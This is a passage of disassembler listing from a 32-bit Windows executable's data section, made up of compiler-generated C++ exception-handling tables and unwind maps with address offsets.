		dd 437C94h, 0Bh, 437CA2h, 0Ch, 437CB0h,	0Dh, 437CBEh, 0Eh
		dd 437CCCh, 0Fh, 437CDAh, 10h, 437CE8h,	11h, 437CF6h, 12h
		dd 437D04h, 13h, 437D12h, 14h, 437D20h,	15h, 437D2Eh, 16h
		dd 437D3Ch, 17h, 437D4Ah, 18h, 437D58h,	19h, 437D66h, 1Ah
		dd 437D74h, 1Bh, 437D82h, 1Ch, 437D90h,	1Dh, 437D9Eh, 1Eh
		dd 437DACh, 1Fh, 437DBAh, 20h, 437DC8h,	21h, 437DD6h, 22h
		dd 437DE4h, 23h, 437DF2h, 24h, 437E00h,	25h, 437E0Eh, 26h
		dd 437E1Ch, 27h, 437E2Ah, 28h, 437E38h,	29h, 437E46h, 2Ah
		dd 437E54h, 2Bh, 437E62h, 2Ch, 437E70h,	2Dh, 437E7Eh, 2Eh
		dd 437E8Ch, 2Fh, 437E9Ah, 30h, 437EA8h,	31h, 437EB6h, 32h
		dd 437EC4h, 33h, 437ED2h, 34h, 437EE0h,	35h, 437EEEh, 36h
		dd 437EFCh, 37h, 437F0Ah, 38h, 437F18h,	39h, 437F26h, 3Ah
		dd 437F34h, 3Bh, 437F42h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 438030h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 438050h,	0
		dd offset loc_438058
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 438080h,	0
		dd offset loc_438088
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 4380B0h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 4380D0h,	0
		dd offset loc_4380D8
		dd 1, 4380E3h, 2, 4380F1h, 3, 4380FFh, 4, 43810Dh, 5, 43811Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 438150h,	0
		dd offset loc_438158
		dd 1, 438163h, 2, 438171h, 3, 43817Fh, 4, 43818Dh, 5, 43819Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 4381D0h,	0FFFFFFFFh, 4381D8h, 0FFFFFFFFh
		dd 4381E0h, 0FFFFFFFFh,	4381E8h, 0FFFFFFFFh, 4381F0h, 0FFFFFFFFh
		dd 4381F8h, 0FFFFFFFFh,	438200h, 0FFFFFFFFh, 438208h, 0FFFFFFFFh
		dd 438210h, 0FFFFFFFFh,	438218h, 0FFFFFFFFh, 438220h, 0FFFFFFFFh
		dd 438228h, 0FFFFFFFFh,	438230h, 0FFFFFFFFh, 438238h, 0FFFFFFFFh
		dd 438240h, 0Eh, 438248h, 0Eh, 438250h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438290h,	0
		dd offset loc_438298
		dd 0FFFFFFFFh, 4382A0h,	2, 4382A8h, 0FFFFFFFFh,	4382B0h
		dd 0FFFFFFFFh, 4382B8h,	0FFFFFFFFh, 4382C0h, 0FFFFFFFFh
		dd 4382C8h, 7, 4382D3h,	7, 4382DBh, 9, 4382E3h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438310h,	0
		dd offset loc_43831B
		dd 0
		dd offset loc_438326
		dd 0FFFFFFFFh, 438331h,	0FFFFFFFFh, 43833Ch, 4,	438347h
		dd 0FFFFFFFFh, 438352h,	6, 43835Dh, 6, 438368h,	8, 438373h
		dd 0FFFFFFFFh, 43837Eh,	0Ah, 438389h, 0Ah, 438394h, 0Ah
		dd 43839Fh, 0Ah, 4383AAh, 0Ah, 4383B5h,	0Ah, 4383C0h, 0FFFFFFFFh
		dd 4383CBh, 11h, 4383D6h, 11h, 4383E1h,	0FFFFFFFFh, 4383ECh
		dd 0FFFFFFFFh, 4383F7h,	15h, 438402h, 0FFFFFFFFh, 43840Dh
		dd 0FFFFFFFFh, 438418h,	18h, 438423h, 0FFFFFFFFh, 43842Eh
		dd 0FFFFFFFFh, 438439h,	0FFFFFFFFh, 438444h, 0FFFFFFFFh
		dd 43844Fh, 1Dh, 43845Ah, 1Dh, 438465h,	1Dh, 438470h, 1Dh
		dd 43847Bh, 1Dh, 438486h, 22h, 438491h,	22h, 43849Ch, 22h
		dd 4384A7h, 22h, 4384B2h, 22h, 4384BDh,	22h, 4384C8h, 22h
		dd 4384D3h, 22h, 4384DEh, 22h, 4384E9h,	22h, 4384F4h, 22h
		dd 4384FFh, 22h, 43850Ah, 22h, 438515h,	22h, 438520h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 4385C8h,	0
		dd offset loc_4385C0
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43860Bh,	0
		dd offset loc_438600
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 438640h,	0
		dd offset loc_43864B
		dd 0
		dd offset loc_438656
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 438680h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 4386A0h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 4386C0h,	0
		dd offset loc_4386C8
		align 10h
dword_43ECF0	dd 19930520h, 57h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 4386E0h,	0
		dd offset loc_4386EB
		dd 1, 4386F6h, 2, 438701h, 3, 43870Ch, 4, 438717h, 5, 438722h
		dd 6, 43872Dh, 7, 438738h, 8, 438743h, 9, 43874Bh, 0Ah
		dd 438753h, 0Bh, 43875Eh, 0Ch, 438766h,	0Dh, 43876Eh, 0Eh
		dd 438779h, 0Fh, 438784h, 10h, 43878Fh,	11h, 43879Ah, 12h
		dd 4387A5h, 13h, 4387B0h, 14h, 4387BBh,	15h, 4387C6h, 16h
		dd 4387D1h, 17h, 4387DCh, 18h, 4387E7h,	19h, 4387F2h, 1Ah
		dd 4387FDh, 1Bh, 438808h, 1Ch, 438813h,	1Dh, 43881Eh, 1Eh
		dd 438829h, 1Eh, 438834h, 1Eh, 43883Fh,	1Eh, 43884Ah, 1Eh
		dd 438855h, 1Eh, 438860h, 1Eh, 43886Bh,	1Eh, 438876h, 1Eh
		dd 438881h, 1Eh, 43888Ch, 28h, 438897h,	1Eh, 438897h, 1Eh
		dd 4388A2h, 2Bh, 4388ADh, 1Eh, 4388ADh,	1Eh, 4388B8h, 2Eh
		dd 4388C3h, 1Eh, 4388C3h, 1Eh, 4388CEh,	31h, 4388D9h, 1Eh
		dd 4388D9h, 1Eh, 4388E4h, 34h, 4388EFh,	1Eh, 4388EFh, 1Eh
		dd 4388FAh, 37h, 438905h, 1Eh, 438905h,	1Eh, 438910h, 3Ah
		dd 43891Bh, 1Eh, 43891Bh, 1Eh, 438926h,	3Dh, 438931h, 1Eh
		dd 438931h, 1Eh, 43893Ch, 40h, 438947h,	1Eh, 438947h, 1Eh
		dd 438952h, 43h, 43895Dh, 1Eh, 43895Dh,	1Eh, 438968h, 46h
		dd 438973h, 1Eh, 438973h, 1Eh, 43897Eh,	49h, 438989h, 1Eh
		dd 438989h, 1Eh, 438994h, 4Ch, 43899Fh,	1Eh, 43899Fh, 1Eh
		dd 4389AAh, 4Fh, 4389B5h, 1Eh, 4389B5h,	1Eh, 4389C0h, 52h
		dd 4389CBh, 53h, 4389D6h, 54h, 4389E1h,	55h, 4389ECh, 13h dup(0)
		dd offset off_443880
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4368A0h, 2 dup(0)
		dd offset off_4438A0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436CCAh, 2 dup(0)
		dd offset off_4438C8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436CD0h, 0
dword_43F070	dd 3, 43F050h, 43F030h,	43F010h, 2 dup(0)dword_43F088	dd 0							; ___:0040AA27o
		dd offset dword_436C74+62h
		dd 0
		dd offset dword_43F070
		align 10h
dword_43F0A0	dd 19930520h, 1, 43F0C0h, 5 dup(0)		dd 0FFFFFFFFh, 438AD0h,	2 dup(0)
dword_43F0D0	dd 19930520h, 1, 43F0F0h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	2 dup(0)
dword_43F100	dd 19930520h, 3, 43F120h, 5 dup(0)		dd 0FFFFFFFFh, 438B10h,	0
		dd offset loc_438B27
		dd 1, 438B2Fh, 2 dup(0)
dword_43F140	dd 19930520h, 1, 43F160h, 5 dup(0)		dd 0FFFFFFFFh, 438B50h,	2 dup(0)
dword_43F170	dd 19930520h, 2, 43F190h, 1, 43F1A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B8h, 4	dup(0)
		dd offset sub_40AEE2
		align 10h
dword_43F1D0	dd 19930520h, 2, 43F1F0h, 1, 43F200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F218h, 4	dup(0)
		dd offset sub_40B061
		align 10h
dword_43F230	dd 19930520h, 4, 43F250h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0
		dd offset loc_438B9B
		dd 1, 438BA6h, 2, 438BB1h, 2 dup(0)
dword_43F278	dd 19930520h, 4, 43F298h, 5 dup(0)		dd 0FFFFFFFFh, 438BE0h,	0
		dd offset loc_438BEB
		dd 1, 438BF6h, 2, 438C01h, 2 dup(0)
dword_43F2C0	dd 19930520h, 3, 43F2E0h, 5 dup(0)		dd 0FFFFFFFFh, 438C30h,	0FFFFFFFFh, 438C38h, 0FFFFFFFFh
		dd 438C40h, 2 dup(0)
dword_43F300	dd 19930520h, 3, 43F320h, 5 dup(0)		dd 0FFFFFFFFh, 438C60h,	0
		dd offset loc_438C68
		dd 1, 438C70h, 2 dup(0)
dword_43F340	dd 19930520h, 1, 43F360h, 5 dup(0)		dd 0FFFFFFFFh, 438C90h,	2 dup(0)
dword_43F370	dd 19930520h, 4, 43F390h, 5 dup(0)		dd 0FFFFFFFFh, 438CB0h,	0FFFFFFFFh, 438CB8h, 0FFFFFFFFh
		dd 438CC0h, 2, 438CC8h,	2 dup(0)
dword_43F3B8	dd 19930520h, 1, 43F3D8h, 5 dup(0)		dd 0FFFFFFFFh, 438CF0h,	2 dup(0)
dword_43F3E8	dd 19930520h, 4, 43F408h, 5 dup(0)		dd 0FFFFFFFFh, 438D10h,	0
		dd offset loc_438D1B
		dd 0
		dd offset loc_438D26
		dd 2, 438D31h, 2 dup(0)
dword_43F430	dd 19930520h, 1, 43F450h, 5 dup(0)		dd 0FFFFFFFFh, 438D60h,	2 dup(0)
dword_43F460	dd 19930520h, 5, 43F480h, 5 dup(0)		dd 0FFFFFFFFh, 438D80h,	0
		dd offset loc_438D8B
		dd 0
		dd offset loc_438D96
		dd 0
		dd offset loc_438DA1
		dd 0
		dd offset loc_438DAC
		align 10h
dword_43F4B0	dd 19930520h, 2, 43F4D0h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 2 dup(0)
dword_43F4E8	dd 19930520h, 2, 43F508h, 5 dup(0)		dd 0FFFFFFFFh, 438E10h,	0
		dd offset loc_438E1B
		align 10h
dword_43F520	dd 19930520h, 4, 43F540h, 5 dup(0)		dd 0FFFFFFFFh, 438E40h,	0FFFFFFFFh, 438E48h, 0FFFFFFFFh
		dd 438E50h, 0FFFFFFFFh,	438E58h, 2 dup(0)
dword_43F568	dd 19930520h, 8, 43F588h, 5 dup(0)		dd 0FFFFFFFFh, 438E80h,	0
		dd offset loc_438E8B
		dd 1, 438E96h, 1, 438EA1h, 1, 438EACh, 1, 438EB7h, 1, 438EC2h
		dd 1, 438ECDh, 4 dup(0)
dword_43F5D8	dd 19930520h, 0Dh, 43F5F8h, 5 dup(0)		dd 0FFFFFFFFh, 438F00h,	0FFFFFFFFh, 438F0Bh, 1,	438F16h
		dd 2, 438F21h, 3, 438F2Ch, 4, 438F37h, 5, 438F42h, 6, 438F4Dh
		dd 7, 438F58h, 8, 438F63h, 9, 438F6Eh, 0Ah, 438F79h, 0Bh
		dd 438F84h, 4 dup(0)
dword_43F670	dd 19930520h, 6, 43F690h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2, 438FD8h, 2, 438FE0h, 2, 438FE8h, 2 dup(0)
dword_43F6C8	dd 19930520h, 6, 43F6E8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 1, 439020h, 2, 439028h, 2, 439030h, 2, 439038h, 2 dup(0)
dword_43F720	dd 19930520h, 3, 43F740h, 5 dup(0)		dd 0FFFFFFFFh, 439060h,	0
		dd offset loc_439068
		dd 1, 439070h, 2 dup(0)
dword_43F760	dd 19930520h, 1, 43F780h, 5 dup(0)		dd 0FFFFFFFFh, 439090h,	2 dup(0)
dword_43F790	dd 19930520h, 7, 43F7B0h, 5 dup(0)		dd 0FFFFFFFFh, 4390B0h,	0
		dd offset loc_4390B8
		dd 0FFFFFFFFh, 4390C0h,	0FFFFFFFFh, 4390C8h, 3,	4390D0h
		dd 4, 4390D8h, 0FFFFFFFFh, 4390E0h, 2 dup(0)
dword_43F7F0	dd 19930520h, 24h, 43F810h, 5 dup(0)		dd 0FFFFFFFFh, 439110h,	0
		dd offset loc_439118
		dd 1, 439123h, 2, 43912Eh, 3, 439139h, 4, 439147h, 5, 439155h
		dd 6, 439163h, 7, 439171h, 8, 43917Fh, 9, 43918Dh, 0Ah
		dd 43919Bh, 0Bh, 4391A9h, 0Ch, 4391B7h,	0Dh, 4391C5h, 0Eh
		dd 4391D3h, 0Fh, 4391E1h, 10h, 4391EFh,	11h, 4391FDh, 11h
		dd 439205h, 11h, 43920Dh, 11h, 439215h,	11h, 43921Dh, 11h
		dd 439225h, 11h, 43922Dh, 11h, 439235h,	11h, 43923Dh, 11h
		dd 439245h, 11h, 43924Dh, 11h, 439255h,	11h, 43925Dh, 11h
		dd 439265h, 11h, 43926Dh, 11h, 439275h,	11h, 43927Dh, 11h
		dd 439285h, 8 dup(0)
dword_43F950	dd 19930520h, 11h, 43F970h, 5 dup(0)		dd 0FFFFFFFFh, 439300h,	0
		dd offset loc_439308
		dd 1, 439313h, 2, 43931Eh, 3, 439329h, 4, 439337h, 5, 439345h
		dd 6, 439353h, 7, 439361h, 8, 43936Fh, 9, 43937Dh, 0Ah
		dd 43938Bh, 0Bh, 439399h, 0Ch, 4393A7h,	0Dh, 4393B5h, 0Eh
		dd 4393C3h, 0Fh, 4393D1h, 4 dup(0)
dword_43FA08	dd 19930520h, 38h, 43FA28h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0
		dd offset loc_43943B
		dd 1, 439446h, 0
		dd offset loc_439451
		dd 0
		dd offset loc_43945C
		dd 0
		dd offset loc_439467
		dd 0
		dd offset loc_439472
		dd 0
		dd offset loc_43947D
		dd 0
		dd offset loc_439488
		dd 0
		dd offset loc_439493
		dd 9, 43949Eh, 0
		dd offset loc_4394A9
		dd 0
		dd offset loc_4394B4
		dd 0
		dd offset loc_4394BF
		dd 0
; ---------------------------------------------------------------------------
		retf	4394h
; ---------------------------------------------------------------------------
		align 10h
		dd 0Eh,	4394D5h, 0Eh, 4394E3h, 0Eh, 4394F1h, 0Eh, 4394FCh
		dd 0Eh,	43950Ah, 0Eh, 439518h, 0Eh, 439523h, 0Eh, 43952Eh
		dd 0
		dd offset loc_439539
		dd 0
		dd offset loc_439544
		dd 0
		dd offset loc_439552
		dd 0
		dd offset loc_439560
		dd 1Ah,	43956Bh, 1Bh, 439576h, 0
		dd offset loc_439581
		dd 1Dh,	43958Ch, 0
		dd offset loc_439597
		dd 1Fh,	4395A2h, 0
		dd offset loc_4395AD
		dd 0
		dd offset loc_4395B8
		dd 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 95h,	43h, 0
		dd 0
		dd offset loc_4395CE
		dd 0
		dd offset loc_4395D9
		dd 25h,	4395E4h, 26h, 4395EFh, 0
		dd offset loc_4395EF
		dd 28h,	4395E4h, 0
		dd offset loc_4395FA
		dd 0
		dd offset loc_439605
		dd 2Bh,	439610h, 2Ch, 43961Bh, 0
		dd offset loc_43961B
		dd 2Eh,	439610h, 2Eh, 439626h, 0
		dd offset loc_439631
		dd 31h,	43963Ch, 0
		dd offset loc_439647
		dd 0
		dd offset loc_439652
		dd 34h,	43965Dh, 35h, 439668h, 34h, 439668h, 0Ch dup(0)
dword_43FC18	dd 19930520h, 1, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	2 dup(0)
dword_43FC48	dd 19930520h, 1, 43FC68h, 5 dup(0)		dd 0FFFFFFFFh, 439730h,	2 dup(0)
dword_43FC78	dd 19930520h, 6, 43FC98h, 5 dup(0)		dd 0FFFFFFFFh, 439750h,	0
		dd offset loc_439758
		dd 1, 439763h, 2, 43976Eh, 3, 439779h, 4, 439784h, 2 dup(0)
dword_43FCD0	dd 19930520h, 6, 43FCF0h, 5 dup(0)		dd 0FFFFFFFFh, 4397B0h,	0
		dd offset loc_4397B8
		dd 1, 4397C3h, 2, 4397CEh, 3, 4397D9h, 4, 4397E4h, 2 dup(0)
dword_43FD28	dd 19930520h, 0Ah, 43FD48h, 5 dup(0)		dd 0FFFFFFFFh, 439810h,	0FFFFFFFFh, 439818h, 0FFFFFFFFh
		dd 439820h, 0FFFFFFFFh,	439828h, 0FFFFFFFFh, 439830h, 0FFFFFFFFh
		dd 439838h, 0FFFFFFFFh,	439840h, 0FFFFFFFFh, 439848h, 0FFFFFFFFh
		dd 439850h, 0FFFFFFFFh,	439858h, 4 dup(0)
dword_43FDA8	dd 19930520h, 0Eh, 43FDC8h, 5 dup(0)		dd 0FFFFFFFFh, 439880h,	0
		dd offset loc_439888
		dd 0FFFFFFFFh, 439893h,	0FFFFFFFFh, 43989Bh, 0FFFFFFFFh
		dd 4398A3h, 0FFFFFFFFh,	4398ABh, 5, 4398B6h, 0FFFFFFFFh
		dd 4398BEh, 0FFFFFFFFh,	4398C6h, 0FFFFFFFFh, 4398CEh, 9
		dd 4398D9h, 0FFFFFFFFh,	4398E1h, 0Bh, 4398E9h, 0Ch, 4398F1h
		dd 4 dup(0)
dword_43FE48	dd 19930520h, 2, 43FE68h, 5 dup(0)		dd 0FFFFFFFFh, 439938h,	0
		dd offset loc_439930
		align 10h
dword_43FE80	dd 19930520h, 2, 43FEA0h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_439978
		dd 2 dup(0)
dword_43FEB8	dd 19930520h, 1, 43FED8h, 5 dup(0)		dd 0FFFFFFFFh, 439990h,	2 dup(0)
dword_43FEE8	dd 19930520h, 7, 43FF08h, 5 dup(0)		dd 0FFFFFFFFh, 4399B0h,	0
		dd offset loc_4399B8
		dd 1, 4399C3h, 2, 4399CEh, 2, 4399D6h, 4, 4399DEh, 5, 4399E6h
		dd 2 dup(0)
dword_43FF48	dd 19930520h, 4, 43FF68h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0
		dd offset loc_439A1B
		dd 1, 439A26h, 2, 439A31h, 2 dup(0)
dword_43FF90	dd 19930520h, 4, 43FFB0h, 5 dup(0)		dd 0FFFFFFFFh, 439A60h,	0
		dd offset loc_439A6B
		dd 1, 439A76h, 2, 439A81h, 2 dup(0)
dword_43FFD8	dd 19930520h, 2, 43FFF8h, 5 dup(0)		dd 0FFFFFFFFh, 439AB0h,	0FFFFFFFFh, 439AB8h, 2 dup(0)
dword_440010	dd 19930520h, 1, 440030h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	2 dup(0)
dword_440040	dd 19930520h, 1, 440060h, 5 dup(0)		dd 0FFFFFFFFh, 439AF0h,	2 dup(0)
dword_440070	dd 19930520h, 2, 440090h, 5 dup(0)		dd 0FFFFFFFFh, 439B10h,	0
		dd offset loc_439B18
		dd 2 dup(0)
dword_4400A8	dd 19930520h, 3, 4400C8h, 5 dup(0)		dd 0FFFFFFFFh, 439B30h,	0
		dd offset loc_439B38
		dd 1, 439B43h, 2 dup(0)
dword_4400E8	dd 19930520h, 3, 440108h, 5 dup(0)		dd 0FFFFFFFFh, 439B70h,	0
		dd offset loc_439B78
		dd 1, 439B80h, 2 dup(0)
dword_440128	dd 19930520h, 1, 440148h, 5 dup(0)		dd 0FFFFFFFFh, 439BA0h,	2 dup(0)
dword_440158	dd 19930520h, 4, 440178h, 5 dup(0)		dd 0FFFFFFFFh, 439BC0h,	0
		dd offset loc_439BC8
		dd 0
		dd offset loc_439BD0
		dd 0
		dd offset loc_439BDB
		align 10h
dword_4401A0	dd 19930520h, 6, 4401C0h, 5 dup(0)		dd 0FFFFFFFFh, 439C00h,	0
		dd offset loc_439C08
		dd 1, 439C10h, 2, 439C18h, 3, 439C20h, 4, 439C28h, 2 dup(0)
dword_4401F8	dd 19930520h, 3, 440218h, 5 dup(0)		dd 0FFFFFFFFh, 439C50h,	0
		dd offset loc_439C5B
		dd 1, 439C66h, 2 dup(0)
dword_440238	dd 19930520h, 4, 440258h, 5 dup(0)		dd 0FFFFFFFFh, 439C90h,	0
		dd offset loc_439C98
		dd 1, 439CA0h, 2, 439CA8h, 2 dup(0)
dword_440280	dd 19930520h, 5, 4402A0h, 5 dup(0)		dd 0FFFFFFFFh, 439CD0h,	0
		dd offset loc_439CD8
		dd 1, 439CE0h, 2, 439CE8h, 3, 439CF0h, 2 dup(0)
dword_4402D0	dd 19930520h, 4, 4402F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D20h,	0
		dd offset loc_439D28
		dd 1, 439D33h, 2, 439D3Eh, 2 dup(0)
dword_440318	dd 19930520h, 3, 440338h, 5 dup(0)		dd 0FFFFFFFFh, 439D60h,	0
		dd offset loc_439D68
		dd 1, 439D70h, 2 dup(0)
dword_440358	dd 19930520h, 1, 440378h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440388	dd 19930520h, 2, 4403A8h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	0
		dd offset loc_439DB8
		align 10h
dword_4403C0	dd 19930520h, 2, 4403E0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 2 dup(0)
dword_4403F8	dd 19930520h, 3, 440418h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2 dup(0)
dword_440438	dd 19930520h, 1, 440458h, 5 dup(0)		dd 0FFFFFFFFh, 439E30h,	2 dup(0)
dword_440468	dd 19930520h, 1, 440488h, 5 dup(0)		dd 0FFFFFFFFh, 439E50h,	2 dup(0)
dword_440498	dd 19930520h, 4, 4404B8h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E8Eh, 2 dup(0)
dword_4404E0	dd 19930520h, 7, 440500h, 5 dup(0)		dd 0FFFFFFFFh, 439EB0h,	0FFFFFFFFh, 439EB8h, 0FFFFFFFFh
		dd 439EC0h, 2, 439EC8h,	3, 439ED0h, 4, 439ED8h,	0FFFFFFFFh
		dd 439EE0h, 2 dup(0)
dword_440540	dd 19930520h, 1Bh, 440560h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0
		dd offset loc_439F18
		dd 1, 439F23h, 2, 439F31h, 3, 439F3Fh, 4, 439F4Dh, 5, 439F5Bh
		dd 6, 439F69h, 7, 439F77h, 8, 439F85h, 9, 439F93h, 0Ah
		dd 439FA1h, 0Bh, 439FAFh, 0Ch, 439FBDh,	0Dh, 439FCBh, 0Eh
		dd 439FD9h, 0Fh, 439FE7h, 10h, 439FF5h,	11h, 43A003h, 12h
		dd 43A011h, 13h, 43A01Fh, 14h, 43A02Dh,	15h, 43A03Bh, 16h
		dd 43A049h, 17h, 43A057h, 18h, 43A065h,	19h, 43A073h, 6	dup(0)
dword_440650	dd 19930520h, 1Bh, 440670h, 5 dup(0)		dd 0FFFFFFFFh, 43A0F0h,	0
		dd offset loc_43A0F8
		dd 1, 43A103h, 2, 43A111h, 3, 43A11Fh, 4, 43A12Dh, 5, 43A13Bh
		dd 6, 43A149h, 7, 43A157h, 8, 43A165h, 9, 43A173h, 0Ah
		dd 43A181h, 0Bh, 43A18Fh, 0Ch, 43A19Dh,	0Dh, 43A1ABh, 0Eh
		dd 43A1B9h, 0Fh, 43A1C7h, 10h, 43A1D5h,	11h, 43A1E3h, 12h
		dd 43A1F1h, 13h, 43A1FFh, 14h, 43A20Dh,	15h, 43A21Bh, 16h
		dd 43A229h, 17h, 43A237h, 18h, 43A245h,	19h, 43A253h, 6	dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2D0h,	2 dup(0)
dword_440790	dd 19930520h, 3Dh, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	0
		dd offset loc_43A2FB
		dd 1, 43A306h, 2, 43A314h, 3, 43A322h, 4, 43A330h, 5, 43A33Eh
		dd 6, 43A34Ch, 7, 43A35Ah, 8, 43A368h, 9, 43A376h, 0Ah
		dd 43A384h, 0Bh, 43A392h, 0Ch, 43A3A0h,	0Dh, 43A3AEh, 0Eh
		dd 43A3BCh, 0Fh, 43A3CAh, 10h, 43A3D8h,	11h, 43A3E6h, 12h
		dd 43A3F4h, 13h, 43A402h, 14h, 43A410h,	15h, 43A41Eh, 16h
		dd 43A42Ch, 17h, 43A43Ah, 18h, 43A448h,	19h, 43A456h, 1Ah
		dd 43A464h, 1Bh, 43A472h, 1Ch, 43A480h,	1Dh, 43A48Eh, 1Eh
		dd 43A49Ch, 1Fh, 43A4AAh, 20h, 43A4B8h,	21h, 43A4C6h, 22h
		dd 43A4D4h, 23h, 43A4E2h, 24h, 43A4F0h,	25h, 43A4FEh, 26h
		dd 43A50Ch, 27h, 43A51Ah, 28h, 43A528h,	29h, 43A536h, 2Ah
		dd 43A544h, 2Bh, 43A552h, 2Ch, 43A560h,	2Dh, 43A56Eh, 2Eh
		dd 43A57Ch, 2Fh, 43A58Ah, 30h, 43A598h,	31h, 43A5A6h, 32h
		dd 43A5B4h, 33h, 43A5C2h, 34h, 43A5D0h,	35h, 43A5DEh, 36h
		dd 43A5ECh, 37h, 43A5FAh, 38h, 43A608h,	39h, 43A616h, 3Ah
		dd 43A624h, 3Bh, 43A632h, 0Eh dup(0)
dword_4409D0	dd 19930520h, 4, 4409F0h, 5 dup(0)		dd 0FFFFFFFFh, 43A720h,	0
		dd offset loc_43A72B
		dd 1, 43A736h, 2, 43A741h, 2 dup(0)
dword_440A18	dd 19930520h, 6, 440A38h, 5 dup(0)		dd 0FFFFFFFFh, 43A770h,	0
		dd offset loc_43A77B
		dd 1, 43A786h, 2, 43A791h, 3, 43A79Fh, 4, 43A7ADh, 2 dup(0)
dword_440A70	dd 19930520h, 4, 440A90h, 5 dup(0)		dd 0FFFFFFFFh, 43A7E0h,	0
		dd offset loc_43A7EE
		dd 1, 43A7FCh, 2, 43A80Ah, 2 dup(0)
dword_440AB8	dd 19930520h, 5, 440AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43A840h,	0
		dd offset loc_43A84B
		dd 1, 43A856h, 2, 43A861h, 3, 43A86Fh, 2 dup(0)
dword_440B08	dd 19930520h, 5, 440B28h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	0
		dd offset loc_43A8AB
		dd 1, 43A8B6h, 2, 43A8C1h, 3, 43A8CFh, 2 dup(0)
dword_440B58	dd 19930520h, 1, 440B78h, 5 dup(0)		dd 0FFFFFFFFh, 43A900h,	2 dup(0)
dword_440B88	dd 19930520h, 1, 440BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43A920h,	2 dup(0)
dword_440BB8	dd 19930520h, 1, 440BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	2 dup(0)
dword_440BE8	dd 19930520h, 2, 440C08h, 5 dup(0)		dd 0FFFFFFFFh, 43A960h,	0
		dd offset loc_43A96B
		align 10h
dword_440C20	dd 19930520h, 4, 440C40h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 2 dup(0)
dword_440C68	dd 19930520h, 4, 440C88h, 5 dup(0)		dd 0FFFFFFFFh, 43A9E0h,	0
		dd offset loc_43A9EB
		dd 1, 43A9F6h, 2, 43AA01h, 2 dup(0)
dword_440CB0	dd 19930520h, 6, 440CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA30h,	0
		dd offset loc_43AA3B
		dd 1, 43AA46h, 2, 43AA51h, 3, 43AA5Fh, 4, 43AA6Dh, 2 dup(0)
dword_440D08	dd 19930520h, 4, 440D28h, 5 dup(0)		dd 0FFFFFFFFh, 43AAA0h,	0
		dd offset loc_43AAAE
		dd 1, 43AABCh, 2, 43AACAh, 2 dup(0)
dword_440D50	dd 19930520h, 5, 440D70h, 5 dup(0)		dd 0FFFFFFFFh, 43AB00h,	0
